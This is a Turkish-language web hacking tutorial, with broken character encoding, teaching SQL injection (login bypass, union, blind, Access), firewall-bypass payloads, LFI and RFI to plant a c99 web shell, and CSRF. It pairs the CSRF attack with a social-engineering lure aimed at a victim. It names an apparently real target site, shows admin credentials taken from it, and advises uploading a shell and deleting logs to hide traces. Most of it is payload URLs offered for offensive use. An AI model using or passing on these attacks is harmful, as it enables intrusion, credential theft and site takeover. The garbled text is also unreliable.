Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
